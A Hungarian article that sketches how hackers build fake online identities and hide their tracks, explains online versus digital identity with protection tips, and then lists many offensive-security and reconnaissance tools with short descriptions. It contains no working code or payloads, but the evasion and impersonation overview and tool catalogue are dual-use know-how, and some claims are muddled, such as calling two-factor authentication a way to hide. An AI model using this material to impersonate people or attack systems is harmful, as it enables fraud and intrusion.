A virtuális identitás egy fake digitális személyiség, amit arra használnak, hogy elrejtsék valós identitásukat az interneten való navigálás során, gyakran rosszindulatú célokra, például adatlopásra vagy rendszerekhez való jogosulatlan hozzáférés megszerzésére a hackerek vagy a bűnözők. Ezeket a személyeket gyakran lopott, hamis vagy bérelt hitelesítő adatok kombinációjával építik, és úgy tervezték őket, hogy beleolvadjanak a legitim forgalomba az észlelés elkerülése érdekében. Születésianyakönyvi kivonat, Tb szám, adószám, lakcím, iskolai végzettség stb. Nézzük hogyan hozzák létre, tartják karban és használják a hackerek virtuális identitásaikat: A hackerek ritkán használják saját IP-címüket vagy valódi nevüket. Ehelyett a nulláról építik fel digitális személyiségüket: Névtelen fiókok: Eldobható e-mail szolgáltatások, hamis nevek és hamis hitelesítő adatok használata közösségi média vagy webhelyek bejelentkezéséhez. Álfiókok: Olyan profilok létrehozása, amelyek realisztikusnak tűnnek a célpont számára, lehetővé téve számára, hogy kapcsolatba lépjen az áldozatokkal anélkül, hogy felfedné valódi tartózkodási helyüket vagy kilétüket. Free proxy szerverek tucatjai. Vásárolt identitások: Előre elkészített „régi” fiókok (régóta létező fiókok) megszerzése a sötét weben, amelyeket a biztonsági szűrők kisebb valószínűséggel jelölnek gyanúsként. BEjáratott anonimizálási technikákat alkalmaznak, hogy valódi identitásukat és "tudásukat" (helyszínüket és személyiségüket) rejtve tartsák, számos technikai intézkedést alkalmaznak: VPN-ek és proxyk: Elfedik a valódi IP-címüket, úgy tűnve, mintha egy másik országból férnének hozzá a rendszerhez. TOR hálózat: A Tor böngésző használata többrétegű titkosításhoz a nyomkövetés megakadályozása érdekében. Inkognitó használat. Hálózati elemzők/szivárogtatók: Eszközök használata az átvitel során továbbított adatok elfogására, ami segít feltérképezni a biztonsági védelmet anélkül, hogy észrevennék őket. Fontos az alapos információgyűjtés személyi azonossággal való visszaélés céljából, A hackerek dossziékat építenek a célpontokról, hogy virtuális személyiségüket hihetőbbé tegyék, vagy hogy eltérítsék egy valódi személy identitását: Felderítés (közösségi média és LinkedIn): A hackerek perceken belül feltérképezhetik a felhasználó szakmai hálózatát, családtagjait és kommunikációs stílusát, így rendkívül meggyőző, célzott adathalász támadásokat tudnak kidolgozni. Adatvédelmi incidensek: Felhasználónév- és jelszóadatbázisok megszerzése, amelyeket több webhelyen való tesztelésre használnak (hitelesítőadat-feltöltés). Virtuális identitások használata Miután a személyiség létrejött, a következőkre használják: Adathalászat/szociális manipuláció: Hamis e-mailek vagy üzenetek küldése megbízható forrásokból, lopott információk felhasználásával a bizalom elnyerése érdekében. Információlopás: Fiókok átvétele pénzügyi adatokhoz, személyazonosításra alkalmas adatokhoz való hozzáférés céljából, vagy a feltört fiók felhasználása mások megtévesztésére. Hírnévrontás: Fiókok eltérítése káros tartalom közzététele céljából, tönkretéve az eredeti tulajdonos hírnevét, miközben a hacker névtelen marad. Többtényezős hitelesítést (2FA) használnak, ez az egyik leghatékonyabb módja a rejtőzésnek. Mindannyiunknak megvan a saját egyedi identitása, amelyet olyan sajátos jellemzők határoznak meg, amelyek megkülönböztetnek minket másoktól. A digitális technológia fejlődésével egyre többet beszélünk az online identitásról és a digitális identitásról, amelyek évről évre egyre inkább áthatják mindennapi életünket. Miben különbözik ez a három fogalom egymástól? Milyen előnyökkel és milyen veszélyekkel jár az internetes identitás használata? Valódi identitás kontra online identitás. Mi a digitális identitás? A valódi identitásnak számos definíciója létezik, de tágabb értelemben azt mondhatjuk, hogy az általunk formált sajátos jellemzők összessége – születési hely és dátum, iskolák, amelyekbe jártunk, ruha- és cipőméret, haj- és szemszín. Ezen jellemzők némelyike soha nem változik, például a születési dátum, de mások változhatnak, például a hajszín. Az online identitásnak egy kissé eltérő definíciója van, amely az online közösségben és weboldalakon folytatott összes egyéni jellemzőnk és interakciónk összessége. Vannak, akik internetes fórumokat, portálokat, kommunikátorokat vagy online játékokat használnak, és valódi nevüket használják az interneten, míg mások, akik értékelik anonimitást, álnevekkel és avatarokkal (grafikus képekkel) azonosítják magukat. Azonban függetlenül attól, hogy melyik lehetőséget választjuk, az online identitás ezekben a helyzetekben teljes mértékben tükröz minket és valós preferenciáinkat. Milyen helyzetekben használjuk online identitásunkat? Számos példa létezik, a közösségi oldalakon, például a Facebookon, Instagramon vagy LinkedInen található profiloktól kezdve a mindennapi tevékenységeken, például vásárláson vagy online fizetésen át a szabadidőben végzett tevékenységekig, mint például a Netflix-sorozatok nézése, a közösségi médiában folytatott privát beszélgetések vagy az online játékok. Sajnos, bár úgy tűnhet, hogy az interneten teljesen névtelenek maradunk, és csak mi tudjuk igazán, hogy mit csinálunk ott, nem szabad elfelejtenünk, hogy a valóságban mindig „a célkeresztben” vagyunk, és minden tevékenységünket folyamatosan nyomon követik úgynevezett sütik formájában. A harmadik, az identitással kapcsolatos fogalom a digitális identitás, vagyis egy elektronikus módja a valódi személyazonosságunk azonosításának és online identitásunk megerősítésének. A digitális identitás fő összetevője egy általánosan elérhető tanúsítvány, amely két kulcsot tartalmaz – egy nyilvános és egy titkos privát kulcsot. Ez utóbbi lehetővé teszi számunkra többek között elektronikus dokumentumok aláírását vagy olyan dokumentumok visszafejtését, amelyeket korábban a nyilvános kulcsunkkal titkosítottak. Meg kell azonban jegyezni, hogy a digitális identitás elfogadásának feltétele, hogy a címzett megbízzon benne, azaz bizonyos feltételek alapján ellenőrizzük azt. Digitális identitásunkra példa az elektronikus személyi igazolvány, az útlevél és a jogosítvány. Ennek köszönhetően hozzáférhetünk a bankszámlánkhoz is. Miért olyan fontos a digitális identitás? A digitális identitás (e-ID) fő célja, hogy növelje a nyilvános és magánszolgáltatásokhoz való hozzáférésünket. Úgy tervezték, hogy megbízható hitelesítést biztosítson (pl. SMS-üzeneteken vagy személyi igazolványokon keresztül), ami viszont megkönnyíti a különféle szolgáltatásokhoz való hozzáférést a nap 24 órájában, a hét minden napján, például: dokumentumokkal és állampolgári juttatásokkal kapcsolatos kérelmek (pl. digitális személyi igazolvány, digitális útlevél, hozzáférés a közigazgatási szolgáltatások platformjához); hozzáférés az online banki szolgáltatásokhoz; online eszközök, amelyek lehetővé teszik az adófizetést és a járműnyilvántartásba vételt. Érdemes megjegyezni, hogy a digitális identitás formájában történő hitelesítést a fizikai személyazonosság-megerősítéssel egyenértékűnek tekintik. Egy ilyen megoldásnak számos előnye van, kezdve a számos szolgáltatáshoz való könnyű hozzáféréstől, amelyeket eddig csak személyesen tudtunk igénybe venni, az alacsonyabb költségeken át a gyors ügyfél-azonosság-ellenőrzési folyamatig (KYC). Sőt, a digitális identitás lehetővé teszi számunkra, hogy elkerüljünk számos fenyegetést, amelyekkel az online identitás során találkozunk. Sajnos az online identitás számos előnye mellett számos kihívással is jár, amelyek közül a legfontosabb az internetes biztonság. A hackerek folyamatosan új módszereket keresnek a biztonsági okok megkerülésére, és érzékeny adataink vagy pénzügyeink átvételére, például rosszindulatú szoftverek (számítógépes férgek, reklámprogramok, kémprogramok, zsarolóvírusok stb.) használatával. Nem szabad elfelejtenünk, hogy online identitásunkat a mindennapi internetes tevékenységek során is megteremtjük, például e-mailek küldése, vásárlás vagy fényképek közzététele a közösségi oldalakon. A kiberbűnözők ügyesen használják fel a mögöttünk hagyott digitális nyomainkat, aminek eredményeként gyakran látogatott online áruházakat tudnak megszemélyesíteni (adathalászat), bejuthatnak a közösségi médiában található profilokba, túl egyszerű jelszavakat feltörve, vagy spam üzeneteket küldhetnek bizonyos állami intézmények nevében. Az utóbbi években a kibertérben komoly fenyegetést jelentettek a hamis személyazonosságot feltevő bűnözők (pl. házassági csalók), akik másnak adva ki magukat, manipulálják az érzéseinket, pénzt próbálnak kicsalni vagy más anyagi előnyökhöz jutni ily módon. Az internetes anonimitás miatt a felhasználók gyakran büntetlenül érzik magukat, és sértő tartalmakat tesznek közzé az interneten, tele vulgáris kifejezésekkel és kemény kritikákkal. Néha ezek úgynevezett álhírek is, amelyek célja a többi felhasználó félrevezetése.
Nemcsak a magánszemélyeknek kell számos, a kibertérből származó fenyegetéssel megküzdeniük. Ez ugyanolyan nehéz téma az állami és a magánszektorbeli vállalatok számára is, amelyeket évről évre egyre inkább érintenek az olyan támadások, mint: DDoS-támadások, amelyek hatalmas számú lekérdezés küldésével kapcsolatosak a vállalat szervereire, ami gyakorlatilag blokkolja a vállalat weboldalát vagy rendszerét; adathalászat – a magánszemélyekhez hasonlóan a vállalatok is áldozatául eshetnek hackertámadásoknak, amelyek során a bűnözők félrevezetik az alkalmazottakat bizonyos előnyök elérése érdekében; webes alkalmazások elleni támadások – ezekkel főként az online áruházak küzdenek. Az érzékeny vállalati adatok megszerzése érdekében a kiberbűnözők többek között megpróbálják megfertőzni a rendszert rosszindulatú programok telepítésével; nyers erő támadások, amelyek célja a jelszavak feltörése. Hogyan védhetjük meg online identitásunkat? Online identitásunk védelme olyan dolog, amire emlékeznünk kell minden internetes tevékenység során. Sajnos a biztonságos számítógépes hardverek, a professzionális szoftverek és a víruskereső programok használata ma már kevés a kiberbűnözői támadások elleni védelemhez. Mit tehetünk még? Íme a kibertérben a védelem legfontosabb szabályai: A lehető legkevesebb információt tegyél közzé az interneten. Ne feledd, hogy a fórumokon vagy a közösségi médiában (akár privát csoportokban is) közzétett tartalom mindig nyilvánossá válik. Korlátozzuk a fényképek közzétételét. Néha nem is tudjuk, hogy a fotón látható dokumentum vagy egy hitelkártya-töredék kibertámadás forrása lehet. Használj egyedi jelszavakat. Minden használt fiókhoz egyedi bejelentkezési adatokkal kell rendelkezni. Amikor csak lehetséges, próbálj meg kétfaktoros hitelesítést (pl. SMS-ben) beállítani. Használj jelszókezelőt. A különböző bejelentkezési adatok beállítása kiváló memóriát igényel, ezért ha nehezen emlékszel rájuk, telepíts jelszókezelőt, amely biztonságos, titkosított módon tárolja azokat. Soha ne nyiss meg ismeretlen forrásból származó linkeket. Gyakran előfordul, hogy a hackerek bankoknak vagy más intézményeknek adják ki magukat, és arra kérnek minket, hogy kattintsunk az általuk küldött linkre. Semmilyen körülmények között ne bízz az ilyen emberekben. Aktiválja a BIK-értesítéseket. Ennek a funkciónak köszönhetően SMS-ben vagy e-mailben értesítést kap minden alkalommal, amikor ellopják a pénzét, vagy ellopott adatokkal próbálnak meg kölcsönt kivonni. Mit tehetnek a vállalatok hálózataik és adataik kiberfenyegetésekkel szembeni védelme érdekében? A támadás típusától függően számos megoldást alkalmazhatnak, beleértve: adathalászat – speciális szoftver telepítése, amely lehetővé teszi az adathalász üzenetek szűrését és blokkolását, valamint védelmet nyújt az e-mailekből származó adatvesztés ellen. Érdemes a munkavállalókat is oktatni a kiberfenyegetésekkel kapcsolatban, és megmutatni nekik, hogyan próbálhatják meg a hackerek az adataikat megcsalni; DDoS támadások – olyan szoftver telepítése, amely kiszűri a gyanús hálózati forgalmat, és egyúttal megvédi a vállalati számítógépeket a teljes hálózatot megbénító támadásoktól; támadások a vállalat hálózata ellen – az egyik módszer a vállalatnál használt szoftverek, azaz az operációs rendszerek és a mobileszközökön futó szoftverek rendszeres frissítése. A második fontos kérdés a vállalati hálózat forgalmának monitorozására és biztosítására szolgáló eszközök használata. Az internetes személyazonosság-lopás egyre gyakoribb jelenség, amely jelentős imázs- és anyagi veszteségeket okozhat. Csak 2020 első felében a zsarolóvírus-támadások száma akár 700%-kal is nőtt az előző év azonos időszakához képest. Sajnos ez a probléma évről évre súlyosbodik, ezért érdemes következetesen végrehajtani a kiberbűnözők által elkövetett gyanús tevékenységek elleni védelmet célzó lépéseket. Burp Suite : A webes alkalmazások hackelésének alapvető eszköze. Amint eléred az 500-as reputációt a HackerOne-on, jogosult vagy egy ingyenes 3 hónapos Burp Suite Pro licencre! Nézd meg ezeket a nagyszerű Burp bővítményeket: ActiveScan++ : Az ActiveScan++ kiterjeszti a Burp Suite aktív és passzív szkennelési képességeit. Úgy tervezték, hogy minimális hálózati terhelést okozzon, és azonosítja az alkalmazás azon viselkedését, amely a haladó tesztelők számára érdekes lehet. Autorize Burp : Az Autorize egy kiterjesztés, amelynek célja, hogy segítsen a penetrációs tesztelőknek az engedélyezési sebezhetőségek észlelésében – ami a webes alkalmazások penetrációs tesztjeinek egyik időigényesebb feladata. js-link finder : egy Burp kiterjesztés JS fájlok passzív szkenneléséhez végponti linkek kereséséhez Logger++ : A Logger++ egy többszálú naplózó bővítmény a Burp Suite-hez. A Burp Suite összes eszközéből érkező kérések és válaszok naplózása mellett a bővítmény lehetővé teszi speciális szűrők definiálását is, amelyek kiemelik az érdekes bejegyzéseket, vagy csak a szűrőnek megfelelő naplókat szűrik. Caido.io : A Burp Suite könnyűsúlyú, Rust-alapú alternatívája. Jelentős teljesítménynövekedés nagyméretű rönkök esetén. webes hackereszközök Jsluice : A jsluice egy Go csomag és parancssori eszköz URL-ek, elérési utak, titkos kódok és egyéb érdekes adatok kinyerésére JavaScript forráskódból. Virtual-host-discovery : Ez egy alapvető HTTP-szkenner, amely felsorolja a virtuális hosztokat egy adott IP-címen. A felderítés során ez segíthet a célpont bővítésében a régi vagy elavult kód észlelésével. Felfedheti a fejlesztő /etc/hosts fájljában statikusan leképezett rejtett hosztokat is.
Wpscan : A WPScan egy ingyenes (nem kereskedelmi célú) fekete dobozos WordPress biztonsági szkenner, amelyet biztonsági szakemberek és bloggerek számára írtak webhelyeik biztonságának tesztelésére.
Asnlookup : Az ASN információs eszköz információkat jelenít meg egy IP-cím autonóm rendszerszámáról (ASN), például: az IP-cím tulajdonosát, a regisztráció dátumát, a kibocsátó regisztrátort és az AS maximális tartományát az összes IP-címmel.
Unfurl : Az Unfurl lehetővé teszi a hackerek számára, hogy programozottan elemezzék a domaineket tartalmazó txt fájlt, és adott kritériumok (pl. egyedi domainek, paraméterek, kulcsok stb.) alapján kinyerjék a tartalmat.
Waybackurls : Sorral elválasztott domaineket fogad el a standard bemeneten, ismert URL-eket kér le a Wayback Machine-ből a *.domain tartományhoz, és kiírja azokat a standard kimenetre.
Meg : A Meg egy olyan eszköz, amellyel nagyszámú URL-t lehet lekérni anélkül, hogy a szervereket terhelné. Használható sok elérési út lekérésére sok hoszthoz, vagy egyetlen elérési út lekérésére az összes hoszthoz, mielőtt a következő elérési útra lépnénk és megismételnénk a folyamatot. Gau : a getallurls (gau) függvény ismert URL-eket kér le az AlienVault Open Threat Exchange-jéből, a Wayback Machine-ből és a Common Crawl-ból bármely adott domainhez. A Tomnomnom waybackurls-e ihlette. Ffuf : Egy gyors, Go nyelven írt webfuzzer. Dirsearch : egy egyszerű parancssori eszköz, amelyet weboldalakon található könyvtárak és fájlok brute force-olására terveztek. OWASP Zed : Az OWASP Zed Attack Proxy (ZAP) egy nyílt forráskódú eszköz, amelyet az OWASP (Open Web Application Security Project) kínál webhelyei/webes alkalmazásai penetrációs tesztelésére. Segít megtalálni az alkalmazás biztonsági réseit.
EyeWitnees : Az EyeWitness weboldalak képernyőképeinek készítésére, szerverfejléc-információk biztosítására és az alapértelmezett hitelesítő adatok azonosítására szolgál. Az EyeWitness Kali Linuxon fut. Automatikusan felismeri a -f kapcsolóval megadott fájlt, mint URL-eket tartalmazó szövegfájlt minden új sorban, nmap xml kimenetet vagy nessus xml kimenetet. A --timeout kapcsoló teljesen opcionális, és lehetővé teszi a weboldal renderelésekor és képernyőképezésekor járó maximális várakozási idő megadását. Shuffledns : A shuffleDNS egy go nyelven írt massdns burkoló, amely lehetővé teszi érvényes aldomének felsorolását az Active BruteForce használatával, valamint az aldomének feloldását helyettesítő karakterek kezelésével és egyszerű bemeneti-kimeneti támogatással. Dnsprobe : A DNSProbe egy retryabledns-re épülő eszköz, amely lehetővé teszi több választott DNS-lekérdezés végrehajtását a felhasználó által megadott feloldók listájával. Káosz – A Káosz aktívan szkenneli és karbantartja az internetes eszközök adatait. A projekt célja a DNS-sel kapcsolatos kutatások fejlesztése és a változások elemzése a jobb betekintés érdekében. Subjack : A Subjack egy Go nyelven írt aldomain-átvételi eszköz, amely egyszerre több aldomaint is átvizsgál, és azonosítja azokat, amelyeket fel lehet törni. A Go sebességének és hatékonyságának köszönhetően ez az eszköz igazán kiemelkedik a tömeges tesztelés terén. Mindig ellenőrizd manuálisan az eredményeket, hogy kizárd a téves pozitívakat. gitGraber : A gitGraber egy Python3-ban fejlesztett eszköz, amely a GitHub monitorozására szolgál, hogy valós időben keressen és találjon érzékeny adatokat különböző online szolgáltatásokhoz. Shhgit : A Shhgit a GitHub Events API figyelésével titkos és bizalmas fájlokat talál a GitHub kódban és a közel valós időben véglegesített Gistekben. Commit-stream : A Commit-stream kinyeri a commit naplókat a Github esemény API-ból, valós időben elérhetővé téve a Github adattárakhoz társított szerzői adatokat (név és e-mail cím).
Masscan : Ez egy internetes méretű portszkenner. Kevesebb mint 6 perc alatt képes átvizsgálni a teljes internetet, másodpercenként 10 millió csomagot továbbítva, mindezt egyetlen gépről. Massdns : A MassDNS egy egyszerű, nagy teljesítményű DNS-csonkfeloldó, amely azokat célozza meg, akik hatalmas mennyiségű, milliós vagy akár milliárdos nagyságrendű domainnevet szeretnének feloldani. Különleges konfiguráció nélkül a MassDNS nyilvánosan elérhető feloldók használatával másodpercenként több mint 350 000 nevet képes feloldani. Findomain : A Findomain egy dedikált, Amazonon tárolt monitorozási szolgáltatást kínál (csak a helyi verzió ingyenes), amely lehetővé teszi a célzott domainek monitorozását, és riasztások küldését Discord és Slack webhookokba vagy Telegram csevegésekbe, amikor új aldoméneket talál. Amass : Az OWASP Amass projekt támadási felületek hálózati feltérképezését és külső eszközök felderítését végzi nyílt forráskódú információgyűjtési és aktív felderítési technikák felhasználásával. Dnsgen : Ez az eszköz a megadott bemenetből domainnevek kombinációját generálja. A kombinációk szójegyzék alapján jönnek létre. Az egyéni szavak végrehajtásonként kinyerésre kerülnek.
Dngrep : Segédprogram előre rendezett DNS-nevek gyors kereséséhez. A Rapid7 rdns és fdns adatkészletére épül.
Wfuzz : A Wfuzz-t a webes alkalmazások értékelésének megkönnyítésére hozták létre, és egy egyszerű koncepción alapul: a FUZZ kulcsszóra való bármilyen hivatkozást egy adott hasznos adat értékével helyettesít.
Gowitness : A gowitness egy weboldal képernyőkép-készítő segédprogram, amely Golang nyelven íródott, és Chrome Headless-t használ webes felületek képernyőképeinek generálására parancssor segítségével, egy praktikus jelentésmegjelenítővel az eredmények feldolgozásához. Linux és macOS operációs rendszereket is támogat, a Windows támogatás többnyire működik.
Whatweb : A WhatWeb felismeri a webes technológiákat, beleértve a tartalomkezelő rendszereket (CMS), blogplatformokat, statisztikai/analitikai csomagokat, JavaScript könyvtárakat, webszervereket és beágyazott eszközöket. A WhatWeb több mint 1800 bővítménnyel rendelkezik, amelyek mindegyike más-más dolgot ismer fel. A WhatWeb emellett azonosítja a verziószámokat, e-mail címeket, fiókazonosítókat, webes keretrendszer modulokat, SQL hibákat és egyebeket. Dnscan : A dnscan egy Python nyelven írt, szólistán alapuló DNS aldomain-szkenner. Sublert : A Sublert egy Python nyelven írt biztonsági és felderítő eszköz, amelynek célja a tanúsítványok átláthatóságának kihasználása, kizárólag az adott szervezetek által telepített új aldomének és a kiállított TLS/SSL tanúsítványok monitorozása céljából. Az eszközt úgy kell ütemezni, hogy periodikusan, meghatározott időpontokban, dátumokon vagy időközönként (ideális esetben minden nap) fusson. Az újonnan azonosított aldomének értesítéssel együtt kerülnek elküldésre a Slack munkaterületre. Továbbá az eszköz DNS-feloldást végez a működő aldomének meghatározásához. Recon-ng : A Recon-ng egy teljes funkcionalitású felderítő keretrendszer, amelynek célja, hogy hatékony környezetet biztosítson a nyílt forráskódú, webalapú felderítés gyors és alapos elvégzéséhez. Recon_profile : Ez az eszköz segít egyszerű aliasok létrehozásában SSH/terminálon keresztül futtatáshoz. BBHT : A Bug Bounty Hunting Tools egy szkript, amely telepíti a legnépszerűbb eszközöket, amelyeket egy hibajavító program sebezhetőségeinek keresésekor használnak. Webes és API-kihasználás Feroxbuster : Egy Rust-alapú tartalomfelderítő eszköz. Gyorsabb, okosabb és modernebb, mint a Dirb/DirBuster. Kiterunner : A legjobb eszköz API végpontok felderítéséhez (rejtett/árnyék útvonalak megtalálásához). Arjun : olyan rejtett HTTP-paraméterek megtalálására specializálódott, amelyeket más szkennerek nem észlelnek. Interactsh : A ProjectDiscovery OOB interakciós szervere. Kritikus fontosságú a vak SSRF/XXE/RCE teszteléshez. A legtöbb komoly vadász azonban saját példányt futtat.
Dalfox : Gyors, modern XSS szkenner. Nagyon népszerű a hibakeresésben.
Semgrep : A statikus alkalmazásbiztonsági tesztelés (SAST) modern szabványa. Gyors és testreszabható.
Hálózat és Active Directory
NetExec (nxc) : A CrackMapExec utódja. Az első számú eszköz hálózati behatolásvizsgálathoz (SMB/WinRM permetezés, AD felsorolás).
BloodHound Community Edition : Kötelező a modern AD biztonsághoz. Feltérképezi a támadási útvonalakat és a privilégiumok eszkalációs útvonalait.
Ligolo-ng : Az új szabvány a pivoting/tunneling terén. Leváltja a nehézkes VPN/proxychain beállításokat.
Válaszadó : Alapvető az LLMNR/NBT-NS protokollok mérgezéséhez a hashek rögzítése érdekében.
Felhőbiztonság
Prowler : Az AWS/Azure/GCP biztonsági értékelésének és auditálásának abszolút aranystandardja.
Pacu : A „Metasploit for Cloud”. Egy kifejezetten AWS-hez készült kihasználási keretrendszer.
Mobil hackereszközök
MobSF : A Mobile Security Framework (MobSF) egy automatizált, többfunkciós mobilalkalmazás- (Android/iOS/Windows) tollvizsgálati, kártevő-elemző és biztonsági értékelési keretrendszer, amely képes statikus és dinamikus elemzés elvégzésére.
Jadx : A Jadx egy dex-ről Java-ra dekompiláló. Parancssori és grafikus eszközök Java forráskód létrehozásához Android Dex és Apk fájlokból.
Dex2Jar : A Dex2Jar egy ingyenesen elérhető eszköz Android „.dex” és Java „.class” fájlokkal való munkához.
Radare2 : Egy ingyenes eszköztár számos alacsony szintű feladat megkönnyítésére, mint például a forenzikus elemzés, szoftvervisszafejtés, sérülékenységek kihasználása, hibakeresés stb. Nagyszámú könyvtárból (amelyek bővítményekkel bővülnek) és programokból áll, amelyek szinte bármilyen programozási nyelven automatizálhatók.
Genymotion: Többplatformos Android emulátor fejlesztőknek és minőségbiztosítási mérnököknek. Fejleszd és automatizáld tesztjeidet a legjobb minőségű alkalmazások készítése érdekében.
Frida „Univerzális” SSL-leválasztó
Frida : Dinamikus instrumentációs eszközkészlet fejlesztők, visszafejtés-fejlesztők és biztonsági kutatók számára.
Kihasználási eszközök
Ysoserial : Egy koncepcióbizonyító eszköz olyan hasznos adatok generálására, amelyek kihasználják a nem biztonságos Java objektumok deszerializálását.
Sqlmap : Az sqlmap egy nyílt forráskódú penetrációs tesztelő eszköz, amely automatizálja az SQL injektálási hibák észlelésének és kihasználásának, valamint az adatbázis-kiszolgálók átvételének folyamatát. Erőteljes észlelőmotorral, számos speciális funkcióval rendelkezik a tökéletes penetrációs tesztelő számára, valamint széles körű kapcsolókkal rendelkezik, beleértve: az adatbázis-ujjlenyomat-készítést, az adatok adatbázisból való átvételét, az alapul szolgáló fájlrendszer elérését és parancsok végrehajtását az operációs rendszeren sávon kívüli kapcsolatokon keresztül.
SSRFTest : SSRF tesztelő eszköz.
Spiderfoot : A SpiderFoot egy nyílt forráskódú intelligencia (OSINT) automatizáló eszköz. Szinte minden elérhető adatforrással integrálható, és automatizálja az OSINT-gyűjtést, így Ön az adatelemzésre koncentrálhat.
Felderítés és DNS
httpx : egy gyors és többcélú HTTP eszközkészlet, amely lehetővé teszi több próba futtatását a retryablehttp könyvtár használatával. Úgy tervezték, hogy a megnövelt számú szál mellett is megőrizze az eredmények megbízhatóságát.
Puredns : Gyors, professzionális DNS-feloldó. Számos munkafolyamatban helyettesíti az Altdns/Massdns-t.
bbot : Az új „mindent egyben” OSINT és felderítő szkenner. Gyorsan lecseréli a régebbi, különálló szkripteket.
reconFTW : A reconFTW egy hatékony automatizált felderítő eszköz, amelyet biztonsági kutatók és penetrációs tesztelők számára terveztek. Leegyszerűsíti a célpontokról szóló információk gyűjtésének folyamatát aldomain-felmérés, sebezhetőségi vizsgálat, OSINT és egyebek elvégzésével.
Gotator : Hatékony permutációgenerálás aldoménekhez (az Altdns permutációs logikáját helyettesíti).
Szkennerek és keretrendszerek
OpenVAS : Az OpenVAS egy teljes funkcionalitású sebezhetőség-kereső. Képességei közé tartozik a nem hitelesített tesztelés, a hitelesített tesztelés, a különféle magas és alacsony szintű internetes és ipari protokollok, a teljesítményhangolás nagyméretű vizsgálatokhoz, valamint egy hatékony belső programozási nyelv bármilyen típusú sebezhetőségi teszt megvalósításához.
Nikto : A Nikto egy nyílt forráskódú (GPL) webszerver-szkenner, amely átfogó teszteket végez webszervereken több elem, köztük több mint 6700 potenciálisan veszélyes fájl/program esetében, több mint 1250 szerver elavult verzióit ellenőrzi, és több mint 270 szerveren verzióspecifikus problémákat keres.
Metasploit : A Metasploit egy nyílt forráskódú penetrációs tesztelési keretrendszer.
Maltego : A Maltego egy nyílt forráskódú hírszerzési (OSINT) és grafikus linkelemző eszköz, amely információkat gyűjt és kapcsol össze nyomozati feladatokhoz.
Sn1per : A Sn1per Community Edition egy automatizált szkenner, amely penetrációs tesztek során használható a sebezhetőségek számbavételére és keresésére. A Sn1per Professional a Xero Security prémium jelentéskészítő kiegészítője professzionális behatolástesztelők, hibajelentés-kutatók és vállalati biztonsági csapatok számára, akik nagy környezeteket és behatolástesztelési hatóköröket szeretnének kezelni.
Lazyrecon : A LazyRecon egy Bash nyelven írt szkript, amelynek célja a felderítés és az információgyűjtés fárasztó feladatainak automatizálása. Az információk egy html-jelentésben vannak rendszerezve a végén, ami segít a következő lépések azonosításában.
Osmedeus : Az Osmedeus lehetővé teszi a célpont felderítésére és sebezhetőség-vizsgálatára szolgáló lenyűgöző eszközök automatikus futtatását.
pry0cc/axiom : egy eszköz, amely könnyedén elosztja számos különböző szkennelőeszköz munkaterhelését, beleértve az nmap-ot, ffuf-ot, masscan-t, nucleus-t, meg-t és sok mást.
Felderítés : A ReconNess segít abban, hogy az összes #felderítésedet egy helyen tartsd, lehetővé téve, hogy csak a potenciálisan sebezhető célpontokra koncentrálj zavaró tényezők nélkül, és anélkül, hogy sok bash vagy általános programozási tudásra lenne szükség.
Nmap : Az Nmap („Network Mapper”) egy ingyenes és nyílt forráskódú (licenccel rendelkező) segédprogram hálózatfelderítéshez és biztonsági auditáláshoz.
Adatkészletek és Freemium szolgáltatások
Shodan : A Shodan egy nyilvános API-t biztosít, amely lehetővé teszi más eszközök számára, hogy hozzáférjenek a Shodan összes adatához. Integrációk érhetők el az Nmap, a Metasploit, a Maltego, a FOCA, a Chrome, a Firefox és sok más platformhoz.
Censys : A Censys a legtöbb portot átvizsgálja, és a világ legnagyobb tanúsítvány-adatbázisát tartalmazza, valamint a legnaprakészebb és legátfogóbb képet nyújtja az ismert és ismeretlen eszközökről.
Rapid7 Forward DNS (FDNS) : Ez az adathalmaz tartalmazza a Rapid7 Project Sonar által ismert összes továbbított DNS-név DNS-kérésére adott válaszokat.
C99.nl : A C99.nl egy szkenner, amely egy teljes domaint átvizsgál, hogy a lehető legtöbb aldomaint megtalálja.
Seclists : A SecLists a biztonsági tesztelők kiegészítője. Többféle lista gyűjteménye, amelyeket a biztonsági értékelések során használnak, egy helyen összegyűjtve. A listatípusok közé tartoznak a felhasználónevek, jelszavak, URL-ek, bizalmas adatminták, fuzzing hasznos adatok, webes shell-ek és sok más. A cél az, hogy a biztonsági tesztelők ezt a tárhelyet egy új tesztelési környezetbe vonhassák be, és hozzáférhessenek minden olyan listatípushoz, amelyre szükségük lehet.
Mindent tartalmaz hasznos teher : Hasznos hasznos teher és megkerülési módok listája a webes alkalmazásbiztonság terén. Nyugodtan fejlessze hasznos tehereit és technikáit.
AI hackereszközök
ChatGPT: Indulása óta a ChatGPT segített a hackereknek listákat generálni a brute force-hoz, segített kódot írni, és új támadási vektort nyitott a hackerek számára, amelyek ellen védekezhetnek. Jó általános lekérdezésekhez, de vigyázni kell az érzékeny adatokkal. Hackelési feladatokhoz a Claude-hoz képest hagyományosabb.
Claude : Jelenleg a kódolási és hackelési feladatokhoz, különösen a biztonsági logikához, a legkiválóbb mesterséges intelligencia.
Helyi LLM-ek (pl. Llama 3 ): Alapvető fontosságú azoknak a penetrációs tesztelőknek, akiknek mesterséges intelligencia segítségre van szükségük anélkül, hogy bizalmas kliensadatokat küldenének a felhőbe.
Azure/PyRIT : A Python Risk Identification Tool for generative AI (PyRIT) egy nyílt hozzáférésű automatizálási keretrendszer, amely lehetővé teszi a biztonsági szakemberek és a gépi tanulással foglalkozó mérnökök számára, hogy proaktívan felfedezzék a kockázatokat generatív AI-rendszereikben.
Arcanum Cyber Security Bot : Az Arcanum Appsec Bot elsődleges célja az etikus biztonsági tesztelők segítése. Naprakész kutatásokat használ, és mélyrehatóan vizsgálja a technikai témákat. Használható beszélgetőpartnerként az értékelések során, vagy az értékelési technológia elsajátításakor.
Titkok és jelszavak
TruffleHog : A titkos kulcsok (API-kulcsok, creditek) kódban való keresésére szolgáló modern szabvány. A gitGraber/Shhgit helyébe lép.
Hashcat : A jelszófeltörés iparági szabványa (GPU-alapú). A John the Rippert váltja fel.
ProjectDiscovery Suite
Nuclei : A Nuclei egy gyors eszköz a konfigurálható, célzott szkenneléshez, sablonok alapján, amely hatalmas bővíthetőséget és egyszerű használatot kínál.
Subfinder : A Subfinder egy aldomain-felderítő eszköz, amely passzív online források felhasználásával keres érvényes aldomaineket webhelyekhez. Egyszerű moduláris architektúrával rendelkezik, és a sebességre van optimalizálva. A Subfinder egyetlen dologra készült - passzív aldomain-felsorolásra, és ezt nagyon jól teszi.
